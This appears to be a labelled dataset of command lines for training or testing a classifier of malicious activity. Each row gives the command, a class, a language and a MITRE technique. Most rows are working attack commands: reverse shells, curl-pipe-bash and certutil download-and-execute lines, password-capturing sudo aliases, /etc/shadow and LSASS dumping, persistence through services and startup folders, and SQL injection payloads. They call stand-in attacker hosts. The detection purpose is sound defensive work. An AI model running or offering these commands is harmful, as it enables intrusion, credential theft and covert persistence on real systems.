text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 203.0.113.154 53 >/tmp/f
reverse_shell
3
bash
T1059.004
reverse_shell-005
/usr/bin/nc -c bash 192.0.2.25 5555
reverse_shell
3
bash
T1059.004
reverse_shell-034
nc -e /bin/sh 203.0.113.153 1850
reverse_shell
3
bash
T1059.004
reverse_shell-003
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("203.0.113.241",53));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.agent20; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('192.0.2.196',9001)).GetStream())
reverse_shell
3
powershell
T1059.001
reverse_shell-048
telnet 198.51.100.181 53 | /bin/bash | telnet 198.51.100.181 80
reverse_shell
3
bash
T1059.004
reverse_shell-017
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"203.0.113.93:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
reverse_shell
3
bash
T1059
reverse_shell-042
enum4linux -a 192.0.2.20
reconnaissance
1
bash
T1590
reconnaissance-021
tftp -g -r install14 192.0.2.240 && chmod +x install14 && ./install14
download_execute
5
bash
T1105
download_execute-010
powershell.exe -Command "Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\agent23.exe'"
persistence
4
powershell
T1546.013
persistence-018
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('203.0.113.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data ...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
Get-ChildItem -Path \\web8.example.net\C$ -Recurse -ErrorAction SilentlyContinue
reconnaissance
1
powershell
T1083
reconnaissance-078
nikto -h http://203.0.113.125
reconnaissance
1
bash
T1595
reconnaissance-020
Restart-Computer -ComputerName app9.acme.test -Force
benign
0
powershell
null
benign-129
SELECT user_id, COUNT(*) AS logins FROM sessions WHERE created_at > '2024-12-08' GROUP BY user_id;
benign
0
sql
null
benign-139
curl.exe -s http://192.0.2.17/sys.bat -o %TEMP%\sys.bat & call %TEMP%\sys.bat
download_execute
5
cmd
T1105
download_execute-024
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(8443,"198.51.100.68",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
find /data/exports -name "*.log" -mtime +36 -delete
benign
0
bash
null
benign-015
crackmapexec smb 203.0.113.0/24 -u erin -p passwords.txt --continue-on-success
credential_harvesting
2
bash
T1110.003
credential_harvesting-017
sc config GoogleUpdateTaskMachine binPath= "cmd /c C:\ProgramData\tmp62.exe" start= auto
persistence
4
cmd
T1543.003
persistence-054
bitsadmin /create AdobeARM & bitsadmin /addfile AdobeARM http://203.0.113.32/data51.exe C:\Temp\data51.exe & bitsadmin /SetNotifyCmdLine AdobeARM C:\Temp\data51.exe NULL & bitsadmin /resume AdobeARM
persistence
4
cmd
T1197
persistence-055
Test-NetConNectIOn -COmPUteRNamE 192.0.2.250 -POrt 445 -INforMAtioNLEvEl QUIet
reconnaissance
1
powershell
T1046
reconnaissance-072
Copy-Item $env:TEMP\payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateSvc.exe"
persistence
4
powershell
T1547.001
persistence-017
nc -e /bin/sh 192.0.2.196 5555
reverse_shell
3
bash
T1059.004
reverse_shell-003
SELECT username, password, email FROM customers INTO OUTFILE '/var/www/html/health49.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
cmd.exe /c "\\192.0.2.110\share\agent97.exe"
download_execute
5
cmd
T1105
download_execute-050
24' UNION SELECT NULL,username,password FROM users-- -
sql_injection
6
sql
T1190
sql_injection-003
Get-PrOcess | WheRe-Object { $_.PrOcessNamE -match 'MsMpEng|CSFalCon|SentinelAGeNt|cb' }
reconnaissance
1
powershell
T1518.001
reconnaissance-080
sc config dbus-helper binPath= "cmd /c C:\ProgramData\run16.exe" start= auto
persistence
4
cmd
T1543.003
persistence-054
sudo echo '/tmp/.loader85 2>/dev/null &' >> /etc/bash.bashrc
persistence
4
bash
T1546.004
persistence-036
$ssl=New-Object Net.Security.SslStream((New-Object Net.Sockets.TcpClient('192.0.2.174',80)).GetStream(),$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$ssl.AuthenticateAsClient('example.com')
reverse_shell
3
powershell
T1059.001
reverse_shell-050
GET-ProceSs | WheRe-ObjECT { $_.ProCESsNaMe -mATCH 'MSMpENg|CSFaLcon|SEnTIneLAgent|cB' }
reconnaissance
1
powershell
T1518.001
reconnaissance-080
kubectl rollout restart deployment/kafka -n prod
benign
0
bash
null
benign-011
sudo systemctl restart sshd
benign
0
bash
null
benign-005
$ssl=New-Object Net.Security.SslStream((New-Object Net.Sockets.TcpClient('203.0.113.25',5555)).GetStream(),$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$ssl.AuthenticateAsClient('example.net')
reverse_shell
3
powershell
T1059.001
reverse_shell-050
1';%20UPDATE%20Users%20SET%20pasSwOrD='Summer#99'%20WhEre%20UserName='AdMiN'--;%00
sql_injection
6
sql
T1190
sql_injection-038
kubectl rollout restart deployment/postgresql -n prod
benign
0
bash
null
benign-011
'%20OR%20'1'='1'%20--%20
sql_injection
6
sql
T1190
sql_injection-000
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\agent.dmp
credential_harvesting
2
cmd
T1003.001
credential_harvesting-029
Test-NetConnection -ComputerName 198.51.100.216 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.a37; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
%AdmiN'--/**//**/--/**/
sql_injection
6
sql
T1190
sql_injection-002
SELECT name FROM sqlite_master WHERE type='table';
reconnaissance
1
sql
T1213
reconnaissance-092
Quser & qWINstA
reconnaissance
1
cmd
T1033
reconnaissance-085
Test-NetConnection -ComputerName 203.0.113.179 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
test43 UNION SELECT status, password FROM customers --
sql_injection
6
sql
T1190
sql_injection-028
printf '[Service]\nExecStart=/usr/local/bin/.update\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/dbus-helper.service && systemctl enable --now dbus-helper
persistence
4
bash
T1543.002
persistence-004
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-invoice.example.com",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
reverse_shell
3
bash
T1059.006
reverse_shell-039
powershell.exe -Command "$sm=(New-Object Net.Sockets.TCPClient('198.51.100.156',53)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-047
scp svc_backup@198.51.100.110:/srv/conf /tmp/ && chmod +x /tmp/conf && /tmp/conf
download_execute
5
bash
T1105
download_execute-033
powershell.exe -Command "Invoke-RestMethod -Uri https://api.example.org/v1/status -Method Get"
benign
0
powershell
null
benign-050
cmd.exe /c "rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://203.0.113.221/kdev39.sct")"
download_execute
5
cmd
T1218.011
download_execute-022
net user frank /domain
benign
0
cmd
null
benign-135
powershell.exe -Command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('update'))"
benign
0
powershell
null
benign-061
COPY orders FROM PROGRAM 'curl -s http://198.51.100.180/out.sh | bash';
download_execute
5
sql
T1105
download_execute-026
nikto -h http://203.0.113.181
reconnaissance
1
bash
T1595
reconnaissance-020
SELECT user_id, COUNT(*) AS logins FROM sessions WHERE created_at > '2024-12-04' GROUP BY user_id;
benign
0
sql
null
benign-139
22'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT+user()),FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)--+
sql_injection
6
sql
T1190
sql_injection-030
curl -s http://203.0.113.99/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
curl -s http://192.0.2.163/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
for /L %i in (1,1,254) do @ping -n 1 -w 100 203.0.113.%i | find "TTL"
reconnaissance
1
cmd
T1018
reconnaissance-083
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\sys2.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
socat OPENSSL:198.51.100.168:8080,verify=0 EXEC:/bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-038
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(4444,"203.0.113.250",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
GET /index.php?cat=16'+AND+1=CONVERT(int,@@version)-- HTTP/1.1
sql_injection
6
http
T1190
sql_injection-045
rustscan -a 192.0.2.6 --ulimit 5000 -- -sV
reconnaissance
1
bash
T1046
reconnaissance-049
WhOAmi /all & Net uSEr & nEt LoCalgrOUp adMIniStRAtoRS
reconnaissance
1
cmd
T1033
reconnaissance-033
GET /api/v1/products?page=2&limit=16 HTTP/1.1
benign
0
http
null
benign-148
EXEC xp_cmdshell 'powershell -c "iex(iwr http://192.0.2.86/payload.ps1 -useb)"';
download_execute
5
sql
T1105
download_execute-051
bash -i >& /dev/tcp/198.51.100.61/80 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-000
$client = New-Object System.Net.Sockets.TCPClient('192.0.2.58',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
sh -i >& /dev/udp/192.0.2.66/8443 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-030
cp /etc/shadow /tmp/.payload24 && chmod 644 /tmp/.payload24
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
wget -q https://downloads.service.example/data-4.4.9.zip -O /tmp/data.zip && sha256sum /tmp/data.zip
benign
0
bash
null
benign-024
cp /tmp/sys /usr/lib/systemd/system-generators/sysupdate
persistence
4
bash
T1543.002
persistence-034
SELECT username, password, email FROM orders INTO OUTFILE '/var/www/html/conf86.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
echo '/tmp/.agent14 &' >> /etc/rc.local && chmod +x /etc/rc.local
persistence
4
bash
T1037.004
persistence-009
SELECT username, password, email FROM accounts INTO OUTFILE '/var/www/html/agent47.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
cmstp.exe /ni /s http://198.51.100.185/install.inf
download_execute
5
cmd
T1218.003
download_execute-049
cmd.exe /c "certutil -hashfile C:\ProgramData\App\payload52.iso SHA256"
benign
0
cmd
null
benign-136
scp sys43.tar.gz jsmith@db5.example.org:/backups/
benign
0
bash
null
benign-020
hydra -L users.txt -P passwords.txt ssh://198.51.100.174 -t 4
credential_harvesting
2
bash
T1110.003
credential_harvesting-016
GET /index.php?cat=34'+AND+1=CONVERT(int,@@version)-- HTTP/1.1
sql_injection
6
http
T1190
sql_injection-045
/usr/bin/wget -qO- http://192.0.2.19:58534/install85.sh | sh
download_execute
5
bash
T1105
download_execute-001
certutil.exe -urlcache -f http://192.0.2.132/x55.txt enc.txt && certutil -decode enc.txt x55.exe && x55.exe
download_execute
5
cmd
T1105
download_execute-044
137' AND bEnCHmArK(5000000,md5('A'))-- -
sql_injection
6
sql
T1190
sql_injection-036
expand \\198.51.100.137\share\x76.cab C:\Temp\x76.exe & C:\Temp\x76.exe
download_execute
5
cmd
T1105
download_execute-047
sh -i >& /dev/udp/198.51.100.6/8080 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-030
journalctl -u docker --since "1 hour ago" | tail -n 25
benign
0
bash
null
benign-007
' UNION SELECT NULL,NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/tmp84.php'-- -
sql_injection
6
sql
T1190
sql_injection-037
Get-Service -Name nginx | Restart-Service
benign
0
powershell
null
benign-047
INSERT INTO users (name, email) VALUES ('dave', 'dave@contoso.test');
benign
0
sql
null
benign-071
$a = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAyADAAMwAuADAALgAxADEAMwAuADIAMgAxACcALAA1ADUANQA1ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkA'; $t = New-ScheduledTaskTrigger -AtLog...
persistence
4
powershell
T1053.005
persistence-014
powershell.exe -Command "Copy-Item $env:TEMP\run.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\GoogleUpdateTaskMachine.exe""
persistence
4
powershell
T1547.001
persistence-017
curl -s http://203.0.113.214/a52.sh | bash
download_execute
5
bash
T1105
download_execute-000
EXEC xp_cmdshell 'powershell -c "iex(iwr http://192.0.2.109/svc.ps1 -useb)"';
download_execute
5
sql
T1105
download_execute-051
$client = New-Object System.Net.Sockets.TCPClient('198.51.100.175',51218);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
python3 -c "import urllib.request;exec(urllib.request.urlopen('http://198.51.100.123/install.py').read())"
download_execute
5
bash
T1105
download_execute-007
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.svc; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012